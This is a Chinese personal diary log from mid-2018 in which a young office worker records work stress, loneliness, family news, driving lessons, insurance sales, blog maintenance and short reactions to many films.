周末没过去哥嫂家吃鲜甜可口的杨梅，而是留在宿舍为自己「充电」，结果在床上瘫了一天。但也不是一无所成，今晚打篮球的手感还不错。
23:382018-06-04
在 25 岁这个年纪，我承认，经常会对异性怀有「非分之想」，剪不断，压不住。再文明的君子也抑制不住这样的念头，因为人类选择了有性生殖的繁衍方式。可是爱情美好，对象难找。
08:31贴在手机上的第 N 张钢化膜又裂了，为了维持生计，以后只贴普通的塑料膜。
洗完澡不睡觉，不忘学习矢量绘图设计软件「Adobe Illustrator」。转行做设计，路子注定是坎坷的。
23:372018-06-05
我的自律体现在，三年来严格坚持自己的单身生活。
22:532018-06-06
强烈的学习欲望，可怕的知识焦虑，麻木的踏实感。
00:112018-06-07
遥想当时高考，根本没有认真对待，相信跟着感觉走，人生总会有出路，天真如我。
23:042018-06-08
《出租车司机》（A Taxi Driver）又是一部韩国好片。由于中国越来越严格的言论审查环境，豆瓣评分 404。
2018-06-09
戴上新配的眼镜后，世界清晰了。
13:49高中就得了近视，但是只有上课的时候才会戴眼镜。转眼八年，度数如同白发，悄悄地爬了上来，没有一丝丝防备。今日伊始，为保护视力，眼镜常戴。
20:262018-06-10
不善于应对工作中的争斗，但我必须终止传播负能量的行为。停止抱怨，因为没有完美的世界。
00:262018-06-11
参加展会，不得不穿皮鞋。一天站下来，脚后跟，赳赳疼。
23:202018-06-12
一直以来，初中老师 CXM 把我当成她的精神依靠（之一），与我无话不说。今天她把我的照片洗出来，并告诉我，唯一的儿子已不是她的心头肉。
19:472018-06-13
永远相信，美好的事物，会一步步离我们而去。
23:362018-06-14
来了一位写文案的新同事，很想听听他对文字的看法。
08:092018-06-15
办公室的座椅不是转椅，而是沉沉的实木，所以起身要特别小心，不然会发出扰人的摩擦声。
不巧的是，我的工位与上级背对背。上级叫我的时候，必须扭身过来，才能与之面对面隔空交谈。如果我不转过去，她们就会很生气，认为我不尊重她们，纵使我有在认真听她们讲话。
00:432018-06-16
端午佳节，太平吉祥。
01:512018-06-17
每次跟 7 岁的外甥睡觉，都是对生命的巨大考验。他就像一个人肉永动机，一会把脚踢到你脸上，一会用手抓着你的头发……宛如蔡依林的《舞娘》：「旋转，跳跃，我闭着眼。尘嚣看不见，你沉醉了没。白天，夏夜，我不停歇。模糊了年岁，小舅的脸蛋被我踩碎。」晚上没睡好，中午想休息一会，但是他们却是不午休。还有，整理外甥们的玩具更是一个苦力活。
堂哥在莲塘水库工作，那里风景宜人，物产丰富，有吃不完鱼类、走地鸡和别人家的荔枝。于是在夜色的掩护下，我们启动了「荒野行动」。
今天是父亲节，不过是父亲打电话来。聊到尾声，我说节日快乐，父亲没说什么，停顿了一会，把电话挂了。
00:472018-06-18
我被哥哥「招安」，加入中国太平，不得不去听了半天的开班课。讲的都是洗脑式的营销话术，适合收割韭菜。在卖保险的路上，需要不断的自我激励，才能坚持下去。
年纪轻轻的我，喜欢不紧不慢的职业步伐，卖保险不适合我。哥哥让我做一个只考虑自己利息的人，我认为这样的人生少了一份克制和友善，这样的人生不值得过（矫情），少一点欲望，就多一份安稳。
23:442018-06-19
驾驶员科目一理论培训的签到表没有我的名字，课白上了，又得请假过来。
14:302018-06-20
那些卖蟑螂药、老鼠药和臭虫药的伙计，怎么养活自己吗？
那些放着 DJ 舞曲的电摩司机，像风儿一样自由，有点向往。
2018-06-21
为了帮助哥哥晋升，不得不成为太平人寿保险的外勤代理人（试用业务员）。其实我更想成为保险经纪人，不隶属任何一家保险公司，站在客户的角度，为客户配置感动人心，价格厚道的理财产品。
23:452018-06-22
答应了老哥，每个月给老爸打钱回去，这个月 ¥1000。
因为打开博客的速度太慢了，于是重新部署在 GitHub Pages 上。
2018-06-23
微信好友 367 人，屏蔽 141 人（38.4%）。软禁结束，今晚把 Ta 们全部「放」出来透透气。如果发现 Ta 们还是我看不惯的样子，继续拉进小黑屋。
变味的社交，让我变得自由而疏离。
03:042018-06-24
要想在职场不显得格格不入，就得放弃一些曾经坚守的信仰，这就是成长的代价。
周末看了两部电影《犬之岛》和《头号玩家》，剩下的时间就瘫在床上，罪过。
晚上去打篮球，命中率不可同日而语。调整过来，积极向上，加油
23:462018-06-25
帮朋友 LMZ 刷淘宝单（透明亚力克板），他说：「谢谢挺勃士，祝你一日一勃，一勃一日」。
今晚把博客的 NexT 主题做了升级
01:092018-06-26
上级出差，没人唠叨，心情舒畅
发现老毛病：止不住对别人评头论足。不行，我要保持克制，保持友善。
成功把博客从 VPS 漂移到 GitHub Pages，下一步就是整理内容了。只有保持思想和技能输出，才能倒逼自己完成认知升级。
00:382018-06-27
以前午休要闹钟叫，现在午休睡到一半就想七想八了，烦人
13:27以前一天只要「如大厕」一次（早上醒来），近来都要补厕。我到底怎么了，压力大？
找不到设计的灵感，看不到明媚的未来
23:022018-06-28
宿舍很乱，我必须开始打扫卫生。
19:45发现一袋干的金银花，我把它放在桌面上，这样就会记得泡水喝。虽然我不相信金银花水有调理身体的作用，但是要收集并晒干这一袋金银花，老妈（外婆）应该费了不少心血。我喝的不是金银花水，喝的是她们心血。
20:05花了两个钟整理杂物、扫地、拖地和刷厕所，看着整洁的宿舍，打心底的愉悦。说真的，整理内务，有助解压。
21:45最近都比较晚睡，前段时间 23 点多就发困了。
00:202018-06-29
俗话说的好，你的善良，必须有点锋芒，否则等于零。别总是做老好人了，当断则断，不受其乱；当断不断，必受其难。
孤独久了，一听到微信的新消息提示音都变得开始期待了，猜想是不是哪位妹子约我聊天了。我把这种行为定义为「单身妄想症」。
23:582018-06-30
电影《水形物语》（The Shape of Water，2017）是献给孤独生命体的童话故事。大部分时候，我过着形单影只的生活，偶尔幻想未来能找到一个相濡以沫的人，然后说出电影里的这句台词：Glad to have you as a friend。
毕业一年了，我还没确定人生方向。
2018-07
2018-07-01
看完西部动作片《黄金三镖客》（The Good, the Bad and the Ugly，1966）大呼过瘾，于是去买了 27 块钱零食，接着把前两部「《荒野大镖客》（A Fistful of Dollars，1964）、《黄昏双镖客》（For a Few Dollars More，1965）」刷完。我很少有这样的观影冲动。
跑龙套（路人甲）又叫茄哩啡，英文 Carefree，粤语 /ke1le1fe1/。
今天下午长沙人 YHL 带我去羊台山打篮球。Ta 是社会小混混，当前怀有戒心，不敢深交。
2018-07-02
吃着香瓜子，突然来一颗腐瓜子，非常破坏心情。
我讨厌在办公室穿高跟鞋（走路带声的那种）的人，像只老母鸡一样发出「咯咯咯」的响声。
2018-07-03
昨晚很累，睡得早，没写日志。
08:092018-07-04
晚上没去运动，睡了一个钟，发现爱否科技又出了新的评测视频，于是又「荒废」了一晚上。
23:472018-07-05
最近感到工作压力大，午休变得不踏实，睡到一半就惊觉：我还有好多活要干。学会大事化小吧，年轻人，别急。
母亲问我涨工资，我说没。孩儿不孝，心思没花在挣大钱上，只求过个安生日子。优秀的人勤勉自律，失败的我随心所欲。
00:012018-07-06
老爸抓到一条蛇，并立刻拍照发给我，不过还是改不了「吃蛇胆」的陋习。
跟四姐和五姐视频聊天，她们都让我去找女朋友，别用宅着。
《幽灵公主》（もののけ姫，1997）探讨的话题有点深奥。
00:202018-07-07
《七武士》（七人の侍，1954）我分了两次才看完，中间休憩了一晌。
16:59我又浪费了一个周六。
23:372018-07-08
我又浪费了一个周日。睡到十点钟，吃个饭，玩手机，然后看《楚门的世界》（The Truman Show，1998），真好看。
16:08如果再碰不见你，我祝你早、午、晚都安（In case I don't see you… Good morning, good afternoon, and good night）。
快乐，不足以使我们热爱这个世界；挫折，不足以使我们抛弃这个世界。
今天登录 VPS 提供商 Vultr 的后台，发现多了 30 美元，这是网友给 FQ 教程 的小小嘉奖。
23:172018-07-09
我把五十多篇「周记」整合成一篇「年报」，方便博客读者更快地找到有用的文章。
晚上打球，左脸颧骨被肘击，微肿。由于作息不规律，痘痘也没有放过我。
部门新来一个助理，女，陕西人。嘿嘿嘿。
23:492018-07-10
今天和同事 LCY 发生了争吵，她选择「人人为我」，我选择「我为人人」。于公于私，我的工作能力都不出众，优柔寡断，不太敢「踢皮球」。老好人，也是「坏人」的一种。一步一步来吧，慢慢找到平衡点。
今晚和同事去打羽毛球，提不上那股热乎劲，我还是热爱篮球多一点。
00:212018-07-11
最近睡觉都不踏实，毕业工作一年了，技能没有长进，方向没有选定，更别提「说走就走」的辞职勇气。假如痛苦是美丽的土壤，希望的种子差不多改发芽了吧。
23:422018-07-12
双喜临门：
- 二姐在五月廿九的 23:59 生了一个 6 斤的男宝
- 博客日志重新归档完毕
2018-07-13
《我不是药神》（Dying to Survive，2018）的最后，程勇到底有没有和思慧在一起？
01:562018-07-14
没想到还有人惦记我这个宅人：武校老友 HHT 找我去公明打羽毛球。
12:01很多事情，我都无能为力。
01:172018-07-15
不知道从什么时候开始，在什么东西上面都有个日期，秋刀鱼会过期，肉罐头会过期，连保鲜纸都会过期，我开始怀疑，在这个世界上，还有什么东西是不会过期的？by《重庆森林》（Chungking Express）
大都市就像一个水泥森林，各种欲望在贪婪地生长着。
早睡不成功，起来看世界杯决赛。和好友赌球，我买克罗地亚赢。结果法国队夺冠了，输了两顿饭钱。
01:172018-07-16
吃错东西（可能是中午的酸辣凉拌土豆），轻微拉肚子。午休也没有恢复正常，睡不到半个钟就心烦。身体酸痛，不复往日的雀跃。
驾考模拟测试不理想，近期加强练习。
宿舍新来两位中年同事，一位面善，一位面恶。
不如意事，常十；可与人言，没有。
23:472018-07-17
我没有坚持学英语，没有坚持照镜子，也没有坚持早睡早起。
但是，我在庭说的 博客 里，坚持写了一年的网络日志，从 2017 年 7 月 17 日到现在。
确切的说，谈不上坚持，因为真正喜欢的事情，不需要坚持。而需要坚持的东西，都不会太长久。
22:452018-07-18
毕业工作一周年，各种酸甜苦辣咸。不知道自己能做什么，想做什么又不肯付诸行动。
23:362018-07-19
前路茫茫，路，怎么走下去。
23:212018-07-20
看完《致命 ID》（Identity，2003），没觉得惊艳。
00:10同事 ZGM 送了一个风筝给我。
13:53《穆赫兰道》（Mulholland Drive，2001）好烧脑。
梦 ＝ 被压抑的欲望 ＋ 伪装起来的满足。你作不了我的诗，正如我做不了你的梦。
2018-07-21
《美丽人生》（Life Is Beautiful，1997）：人生能欣赏到这么美丽的电影，真是太幸福了。
2018-07-22
《辛德勒的名单》（Schindler's List，1993）：无言的伤痛。
《触不可及》（Intouchables，2011）：不卑，不亢，不要忘记对自己的真实。
2018-07-23
没有你，良辰美景，更与何人说。
假如你一意孤行，坚持活在自己的世界，那么你绝对有权毁掉自己的幸福。
爱美丽突然感到莫名的祥和，无比的欣慰，光线变的柔美，空气透着芬芳，城市发出低吟，深吸一口气，人生本来就是简简单单。一股济世情怀，油然而生。
《天使爱美丽》（Amelie，2001）中 Audrey Tautou 真是一个清纯诱人的古怪精灵。
意外险明天到期了，于是换成了支付宝里的「全面无忧百万综合意外」险（¥150）。
2018-07-24
穿上衬衫西装，室友（男）说我很帅，同事（女）说我的衬衫很老。
坐动车来厦门开展会（配电论坛），不喜不燥。城市都是一个样，没有旅游的心情。
2018-07-25
再多各自牛逼的时光，也比不上一起傻逼的岁月。by 《阳光姐妹淘》（Sunny，2011）
2018-07-26
一直都不喝酒，今天喝了近 2 两（一杯）的红高粱（52°），所幸神智清醒，不过心跳加速，脑壳晃荡。
00:572018-07-27
中午吃饭的时候，鱼刺，又一次，卡在我的喉咙里。咳不出来，只好打车去最近的厦门前埔医院，fuck。
到了医院，挂号护士说 14:30 才能就诊，fuck。
辗转至厦门中医院，几尽波折才找到耳鼻喉科的医生，fuck。
这位被我吵醒的医生先用薄木条压住我的小舌头，然后拿起镊子。说时迟，那时快，眨个眼的功夫就把这 1 厘米长的鱼刺夹出来了，这手艺无 fuck 可说。一结帐，¥63.5，fuck。
回去路上，咽喉舒畅，心花路放的我与 32 年的老司机无话不说。结果司机聊欢了，走错路，两次，fuck。
One more fuck。目的地是「厦门国际会展酒店」，但是下车地点是 1 公里外的「厦门国际会议中心酒店」，剩下的路程只好步行前往。
走着走着，我迷失在城市的水泥森林中。晌午时分，北纬 24° 的阳光和我一样「火辣」：衬衫湿透，肉影肉现，fuck。
每一个 fuck 的后面，我都没有加感叹号，因为该经历的磨难，一个都不会少，放平心态，Find Your Inner Peace。
By the way，今天去海边吹风，看着麻辣烫摊主的三轮车被一群城管「骑」走了，心里五味杂陈。比起这个麻辣烫摊主，我的一波三折谈不上磨难。
23:362018-07-28
我在厦门北站检票口被这位大姐骗了 100 块。
她说补票要 13 块现金，我出示收款码，她说微信没钱，不如加我为好友，今晚回到家还给我。
加了好友之后，她说我听错了，是 73 块，于是我给了她 100 块。
看着她扬长而去的身影，我隐约感觉到上当了。我应该让她在微信上向好友借 100 块之后，再「帮」她的。
目前，她没有回复我的微信消息了。
刚刚去跟初中同学 DZ 催债（¥500），发现他把我删了，头像和性别都换成女的了。
又借了 ¥200 给另一位初中同学 CWF，算是对他创业的天使投资吧。
心情不好，看电影解解气。《死侍 2》（Deadpool 2，2018）中，重新长出下半身的 Wade 真的好搞笑。
2018-07-29
我们一路奋战,不是为了能改变世界,而是为了不让世界改变我们。by 《熔炉》（法语：Silenced，2011 年上映）
《饮食男女》（Eat Drink Man Woman，1994）：情理之外的忘年交，老来得子，更是不可思议。
听到梁伯母喊道：「你这个杀千刀的老朱，你竟然拐我的女儿。」，不厚道地笑了。
2018-07-30
厌倦了去各大城市开办展会，一场场虚假的盛宴，都是吹的。
00:132018-07-31
昨天布展不顺，今早心有余悸，06:25 就惊醒了，生怕睡过头。
07:29站一天，脚跟好痛。
15:56我一直觉得隔壁部门的罗莉好可爱，今天终于知道她的名字了。
20:082018-08
2018-08-01
电影是艰难人生的慰藉品，看 《天堂电影院》（Nuovo Cinema Paradiso，1988）
23:212018-08-02
毕业一年，职场受困，心烦意乱，不想理会，只好用电影麻痹自己。
《乱世佳人》（Gone with the Wind，1939）没有打动到我。
父亲因为母亲穿无领的衣服而起了争执，多少幸福的家庭毁于大男子主义。
19:422018-08-03
爸妈的脾气差，观念也已固化，与之相处，不容易。前段时间，老妈与哥哥因为过期牛奶而起了争执，吵得整个村子都听得见。在家坐月子的二姐也因二老高油高盐的饮食陋习而大动肝火。从整体上看，我们家是幸福的，放大到局部，遍地是鸡毛蒜皮的琐事。一想到我将来的媳妇要忍受爸妈这样脾气，我就打消结婚的念头。
14:10《致命魔术》（The Prestige，2006）有两个结局。
2018-08-04
There is no one I would rather be than me. 只做自己，别无他想。by 《无敌破坏王》（Wreck-It Ralph，2012）
偏见总是遮蔽了真相。by 《十二怒汉》（12 Angry Men，1957）
Well, life isn't always what one likes, isn't it? by 《罗马假日》（Roman Holiday，1953）
一个人久了，想找人说说话，却不知道找谁。我把宿舍的灯关了，留一盏小夜灯，静静地欣赏电影。
2018-08-05
影院友情提示，为了保证您没有看过这部电影的朋友，有机会获得更大观影乐趣，请您不要像任何人透露这部电影的结局。by 《控方证人》（Witness for the Prosecution，1957）
驾校老板说：一天之内连续 3 次 93 分以上才可以参加科目一考试。但是我发挥不稳定，一直在 88 分 ~ 95 分之间徘徊，只好 P 图蒙混过关，但考试前我一定会加强练习的。上帝保佑。
22:44从 7 月初到现在，我一共看了 24 部电影。电影，是造梦的艺术。现在，该从梦中醒来，面对一无所有的 24 岁。
2018-08-06
早会上，上级特意点名批评我没有按照她的旨意去完成工作，说的没错，因为我在抗拒这份工作。
下了班去招聘网站溜达了一圈，不知道自己能做啥。凭着对设计的余热，照着教程画了一个「潘洛斯三角」。挺有趣的，我应该坚持学设计。
每晚的 23:00 ~ 23:30 是我的写作时间，现在不能偷懒了，坚持执行，否则我的心会不得安宁。晚安，Lazy Boy。
00:21我不知道将去何方，但我已在路上。by 《千与千寻》（Spirited Away，2001）
2018-08-07
昨晚 00:30 才放下手机，闭上眼睛，思绪万千，室友则呼噜震天，难以入眠。遂起身放尿，一看时间，01:16。翻来覆去，不知何时进入梦乡。今早醒来，胸闷得很，一阵难受过后，缓解好多。
08:30一位同事从我的面相推断出我是打老婆的命。没错，「不打不相识」是打桩机庭勃士的交友宣言。
12:32天雷滚滚，睡不踏实。
13:26今晚在整理「保单管理表」的过程中，发现中国太平的服务极差，官网和公众号都无法下载电子保单。对比之下，支付宝和微信的保险服务好太多了。
00:082018-08-08
室友有晨跑的习惯，一大早把宿舍弄得不得安宁（比如煲水），搅人清梦。
07:59这段日子，午休无法进入深度睡眠，小憩一会，便开始想东想西，太痛苦了。
13:55毕业一年，球技依旧烂。
今天在家人群顺道提了辞职的事，大家不是很同意，让我挨多一年考完驾照再跳槽。是啊，没什么资本去找工作。术业不专攻，啥都会，啥都不会。
00:112018-08-09
抢篮板的时候，我进了一个乌龙球，人生第一次，捂脸。
19:23武校老友 TSW 是为数不多会打电话跟我唠嗑的朋友。
22:40下载了新游戏「阿瑞斯病毒」，玩到现在，脖子好酸。
01:072018-08-10
《东方快车谋杀案》（Murder on the Orient Express 1974）：出场人物好多，完全看晕了。
2018-08-11
朋友 ZYT 不想呆在家里带孩子，不想从事老本行（美容业），可是 Ta 除了美容，什么也不会，问我没有挣钱的法子。这真是一个千古难题，我没有办法，只好喂了 Ta 很多鸡汤。
01:502018-08-12
成长是一笔交易，我们都是用朴素的童真与未经人事的洁白交换长大的勇气。by 《魔女宅急便》（Kiki's Delivery Service，1989）
Which would be worse: to live as a monster or to die as a good man? （哪种情况更糟糕，像禽兽般混沌地活着，或是清醒地死去？）by 《禁闭岛》（Shutter Island，2010）
今天去前同事 YQ 家做客。小小的公寓，做了满满的饭菜，可把我们吃撑了。晚餐过后，大伙齐齐抱怨工作上的不如意。房子是租的，工作是枯燥的，但生活不是，它应该是属于你的。
一个想法不一定对。我一直觉得「晚餐」这个词比「晚饭」增添了不少温馨的意境。所以，好吃的我会叫晚餐，难吃的则叫晚饭。
23:392018-08-13
部门助理 LXT 和前部门同事 JYF 都在今天提交了辞职申请，搞得我也心痒痒的。
15:30听说部门要撤销、裁员、重组……这是好事，希望可以换个明白事理的领导。
00:022018-08-14
永远不知道，谁哪次不经意地跟你说了再见之后，就真的不会再见了。
你不会遇到第二个我，友情也好，爱情也罢。
不管前方的路有多苦，只要走的方向正确，不管多么崎岖不平，都比站在原地更接近幸福。
by 《千与千寻》（Spirited Away，2001）
2018-08-15
心怀一望无际的兴趣，谁来拯救我。
2018-08-16
昨晚梦见捡到即刻 CEO 瓦恁的手机，归还的时候我让他给我介绍工作，最好是有节操的互联网公司。然后就半夜惊醒了，平常我都是一觉到天亮的。
08:09科目一备考完毕，我觉得明天拿个 95 分以上没问题。
00:022018-08-17
昨晚有点紧张，起夜好几次。
科目一 97 分。
10:112018-08-18
灵魂没有义肢（什么都没有精神残废可怕，因为没有义肢可装 / But there is nothing like the sight of an amputated spirit. There is no prosthetic for that.）。by 《闻香识女人》（Scent of a Woman，1992）
最远的旅行，是从自己的身体到自己的心，是从一个人的心到另一个人的心。坚强不是面对悲伤不流一滴泪，而是擦干眼泪后微笑面对以后的生活。by 《风之谷》（Nausicaä of the Valley of the Wind，1984）
当电影《沉默的羔羊》（The Silence of the Lambs，1991）汉尼拔博士说出最后一句台词「I'm having an old friend for dinner」的时候，我才觉得这是一部不可多得的佳片。
2018-08-19
在科目二练习踩离合的时候，腿止不住地抖，教练止不住地骂，老天爷也没止住，唾弃我这个没用鬼（下雨了）。
12:39长时间单身是件很危险的事，一旦你感受到了那份平静，就再也不想应付别人了。
15:332018-08-20
又做梦了。
2018-08-21
一位叫「小谢」的网友跟着我写的 翻墙教程 操作了一遍，成功访问了 Google。好景不长，十几分钟就失效了。远程协助了一下午，发现是武汉电信的问题，希望我可以为他找到解决方案。
可以看出，网络运营商的翻墙检测技术大有提升了，于是给我自己的 Shadowssocks 加了 http 混淆，但是感觉网速变慢了。
00:332018-08-22
同事 JYF 请大家吃散伙饭，宴后，一起和她的室友唱歌。没有悲伤的情绪，也不需要太多的情绪。友谊在心间，天涯若比邻。愿她像热爱跳舞一样热爱生活，保重。
01:292018-08-23
在二季度的部门绩效考核中，我居然得了一个 B，其他同事和上级都是 C 或 D，到底是哪位「贵人」偷偷给我加分了。
11:07从小到大都喜欢吃洋葱炒蛋（或洋葱炒肉）。
18:21正在加紧学习如何使用 InDesign 排版，争取早日出师，迈向自己喜欢的领域。
23:432018-08-24
终于熬到周末了。
18:22看不懂《黑天鹅》（Black Swan，2010）。
00:101958 年的老室友突然问我的人生规划是什么，我说没有规划，尽量多做点喜欢的事情吧。活了 60 年的他同意这个看法：纵使千万身家，也不一定能得到快乐。
00:202018-08-25
精神上的累、人际关系上的乏味以及对未来的颓废，让我难以入睡。
12:37科目二的第二次练习，腿没那么抖了。
17:06有一段时间没来「裴」外甥玩耍了，发现他们越来越不服从管教了，他们都很有想法，没那么容易哄。
01:052018-08-26
在城市长大的孩子，因为缺少与大自然的接触，Ta 们的童年应该少了很多欢乐。
23:282018-08-27
感觉到工作压力越来越大了，不到 7 点就惊醒了。
08:04一个朋友劝我做外贸，一个朋友问我有没有电商的同学……都是全新的领域。大部分时候，我都喜欢准备好所有菜才下锅，可谁又知道我会不会裸辞呢？
00:412018-08-28
对肛门好一点，不要吃太辣。
11:07部门重组中，活不多，有时间学设计（东拉西扯，毫无章法地学）。
23:222018-08-29
突然感到，众生皆苦。
10:07非科班出身学设计，无从下手。
00:072018-08-30
到了职场的十字路口，每天睡觉都不踏实。
13:27最近又开始晚睡了。
00:252018-08-31
如果自欺才能使我快乐，我选择如此地活着。by 《记忆碎片》（Memento，2000）
刚开始看这部电影的时候，困得小憩了一会。睡醒看完，再综合网友的影评，才感觉到这部片子的精妙与震撼。
2018-09
2018-09-01
问了一些朋友的近况，得知他们也很痛苦，不想工作或找不到喜欢的工作，烦闷得很。
出来见个初中老同学 TWC（近 9 年未碰面）。我们的交谈不是非常融洽，他保留了坏习惯——乱扔垃圾。不过我们一起看了《碟中谍 6：全面瓦解》（Mission: Impossible - Fallout，2018），毫无疑问，这是一部极好的动作大片，我看得非常投入。唯二不足的是后面有个吵闹的小孩以及屏幕旁闪烁的「绿色通道」。
18:25哥哥家停水了，今晚不用洗澡。
00:572018-09-02
乐观开朗的 ZJJ 和我虽然是高中校友，但那时并不认识，最终是通过大学校友会认识的。但也仅此而已，平时就碰个面，打个招呼的那种。惊奇的是，她居然约我国庆去青海旅行，我也想去，不过国庆要陪家人。谢谢她的邀约，强烈引起了舒适。
ZGM 邀请我去放风筝，可是我下午要练「倒车入库」，又伤害了一个小伙伴的心。
我不喜欢手机屏幕上破裂的钢化膜，所以经常更换。现在，第 5 张膜已经裂了几个月了，我渐渐接收那些裂痕。时间真是一个可怕的东西。
科目二第 3 次练车，太阳很辣，教练很凶。一上车，发现我脱了拖鞋光着脚练车，就把我轰走了。但是，我想早点拿到驾照，急匆匆地回到公司宿舍（2 公里）穿上运动鞋，回到练车场继续「受骂」。不过光着脚踩离合，还挺带感。
把头发理短，把烦恼剪断，把欲望减半。
19:17收到这么多朋友的关心，让我觉得我是狠心的人。我很少主动跟 Ta 们搭话，Ta 们却能偶尔记得还有我这个朋友，So Grateful。
21:042018-09-03
新的一周，心烦意乱，午休还是只能睡 10 分钟。
13:192018-09-04
84 高龄的外婆摔倒了，神公保佑，快快康复。
20:522018-09-05
我想跨出舒适区以便寻找一些突破，就怕后来发现，能守住这片舒适区就不错了。
时间滴滴答答地过去了，我想做什么？我能做什么？这两个问题的答案越来越模糊了。有时候，我会想，来一颗行星把地球毁灭吧。做人，太累了。
23:342018-09-06
午休睡不着。
13:10外婆摔倒，磕到脖子，所以只能低着头走路，睡觉也只能低着头坐着睡。我亲爱的外婆呀，挺住。
18:46与大学同学 DGR 视频聊天，得知他工作顺利，劳逸得当，心里为他开心。
22:142018-09-07
只有到了周末才敢看电影。因为自己身无长技，需要学习学习再学习，所以在工作日看电影，有一种荒废时间的罪恶感。
19:13《西西里的美丽传说》（Malèna，2000）让我想起了第一次 Hand Job 的那个夜晚，那时我在念初中。自此以后，原始的动物本能才逐渐被唤醒。
22:592018-09-08
科目二第 4 次练车（直线倒车入库），教练迟到了 40 分钟。
10:37《非常嫌疑犯》（The Usual Suspects，1995）：烧脑的悬疑片又把我看睡了。
19:36《追随》（Following，1998）：诺兰（Nolan）的处女作，非线性叙事风格，也不容易看懂。既然脑子不好，我为什么要找这罪受呢。
22:50《发条橙》（A Clockwork Orange，1971）：非常直接地把性和暴力表现出来，但是不是每个人都能欣赏。
2018-09-09
在很长时间里，我「享受」着三点一线的生活——办公室 - 宿舍楼 - 篮球场。不知何时起，这种生活变得越来越孤单，并且乏味。于是，我决定走到没有空调的地方，让改变发生。
朋友问我拍照的时候，为何总是露出一口大白牙。身为穷矮挫，牙齿是为数不多让我满意的人体器官。
23:412018-09-10
以后在用字方面，少用「的」和「了」，行文尽量保持精炼，情感尽量保持真实。
00:312018-09-11
昨晚打完球回来，困意袭来，早早瘫在床上。
打球渴了，喝自己带的凉开水。运动饮料喝多了，秋膘可不会放过我。
18:38今晚开始把「庭说」早期在公众号写的文章迁移到博客上。发现几年前的自己文笔特别随意，想写什么就写什么。
这个世界上只有那么一小部分的幸运儿，知道自己喜欢做什么，适合做什么，于是 Ta 们可以专注的努力，在自己喜欢的领域里打一场漂亮的持久战。对于大部分人，也许穷尽一生，都不知道自己喜欢什么，适合什么，但是生命的发展过程不就是一个不停试错的过程吗？只是随着年龄的增长，试错的成本在不断的增加。我就是那大部分人。
2016-05-042018-09-12
上班没活干（苦恼），打球崴到脚（轻微），外婆身体不太好（挺住）。
23:342018-09-13
昨晚睡觉前在打游戏，所以忘记写日记了。从侧面说明了《忍者必须死 3》是一款不错的跑酷游戏。几年前玩过，续作也不错。
2018-09-14
我们都有一种被人接受的需要。但是你必须坚持自己的信仰是独特的是你自己的，哪怕别人认为它们很怪，或者很讨厌，哪怕一群人都说，那太差。by 《死亡诗社》（Dead Poets Society，1989）
2018-09-15
外婆手头只有一千五，却给我留了一千块当结婚礼金，唯愿外婆心情愉快，健康长寿。
今天下午同事 ZGM、LWJ 一起去宝安体育馆游泳。觉得自己大概会游泳了，就没有努力去改进游泳姿势。容易满足现有成就，不可。
台风「山竹」即将登陆，趁着大风，ZGM 约我去天台放风筝。但是风力太大，把风筝吹坏了。ZGM 是一个有想法的老男孩，不谙世事，纯粹天真，希望世界不要伤害他。
这几天在帮哥哥推销「福禄康瑞」这款重疾险。说实话，这是大公司少有的好产品。但是在推荐过程中，总觉得不好意思。可是转念一想，说动一个是一个，保险有时候真的是救命仙丹。
01:512018-09-16
身在农村的父母，为了 8 块钱一斤的板栗，冒着风雨也要去捡回来，在乡下挣点钱真不容易。心心念着小儿子（也就是我）还没有结婚，再苦再累也要为下一代创造条件。这让我无比自责，要是有能力挣大钱，父母就不用如此受累了。
15:26今天晚上和 DHF、ZGM 斗地主，14 胜 5 败，完全靠的是手气。
越深入了解商业保险，越觉得其营销手法的卑鄙。其实我非常讨厌为了哥哥姐姐向朋友推销保险，观念不同，真的太累了。往最极端想，人死了何尝不是解脱。
00:352018-09-17
好久没吃泡面了。
19:12周末易逝，啥也没干。切莫放纵，实干实干。
00:20我的人生每天都在举办一筹莫展。
01:142018-09-18
越来越晚睡了。
00:51帮哥哥卖保险，至今没有成功过，心太软，虽然产品很有竞争力，我自己也买了。
2018-09-19
新的部门领导人非常强势，没有人情味。
肚子上的赘肉死而复生，继续保持运动。
小舅妈肺癌晚期，保险赔了 10 万远远不够，不得不发起「轻松筹」。生老病死，每一个都是劫难。舅妈，挺住。
不睡前学习一下 Photoshop 都无法躺下。
00:092018-09-20
工作不开心，打球不开心，学习不开心，玩手机也不开心……生活过得乱糟糟，不过我依然保持着学习的心态。
00:462018-09-21
今晚吃了牛杂煲，一般。吃夜宵，我还是喜欢炒米粉或者炒面。
02:05有多少人，讲风险不爱听，讲保障没概念，只有讲收益才能吸引到他，也不能怪被别人投其所好了。by 关哥说险
说服一个人很难，灾难才是最好的保险布道者。
2018-09-22
下午一起和外甥们去莲塘水库钓鱼、捉蜻蜓和斗「柳叶」，并拍了很多不错的照片，非常满足。
晚上吃夜宵的时候，一起玩「大话骰」。游戏经验不足，罚喝了不少水，今晚很可能 Wet Dream。
01:592018-09-23
三个熊孩子顶过一个「原子弹」，他们可以轻易把你「炸」飞。除了处处跟你对着干，最让人反感的是满嘴脏话。
傍晚去深圳野生动物园看骑马表演、汽车漂移和摩托车空翻。比起透过屏幕观赏，现场更动人心弦。
01:422018-09-24
今天是中秋佳节，早上和哥哥姐姐一起去拜访同在深圳的国强叔公。一阵寒暄后，叔公请我们去「新宝源酒楼」吃午餐，美味实惠，是朋友聚餐的好地方。宴上，关于择偶的观点，叔公和我们家一致认为，不要找太远的老婆，生活习惯相冲，节日探亲更是奔波。
00:222018-09-25
我睡觉的时候会打呼噜，以后的枕边人可要遭殃了。
23:462018-09-26
国庆将至，哥哥可能要 30 号回家，要怎么跟上级请假呢？
00:04俗语言，没心没肺，活着不累。从小到大，很多朋友都说我这个人比较有「正义感」，注定很难在圆滑当道的社会下活得顺心如意。
2018-09-27
上级突然发布紧急任务，所以不能请假去「住建局」提交「公租房」的申请材料。
为找齐展会用品，走遍附近的广告店，所幸有收获，没白跑。希望明天尽快把实物展板搭建好。
23:552018-09-28
为了买到「单色流动的柔性 LED 裸板灯带」，从公司坐 2 个钟的公交到华强北。问了全部店家都没有，只好买静止的灯带回去。等着明天被挨骂吧（并没有）。
18:512018-09-29
展会物资打包完毕，吃碗「重庆小面」放松一下。
20:41祝我的好哥们 GJL 24 岁生日快乐。愿你保持直爽，走遍世界。
21:252018-09-30
工作压力大，近几个月都睡不好午觉。
13:30中时顺的物流小哥真的很贴心，不让我帮他们搬东西，好久没有遇到这么省心的快递服务了。
14:19明天请不要堵太久车（还是堵了几个钟）。
00:232018-10
2018-10-01
起床。
05:20排泄功能未到「开闸」时间。
05:40发动机启动。
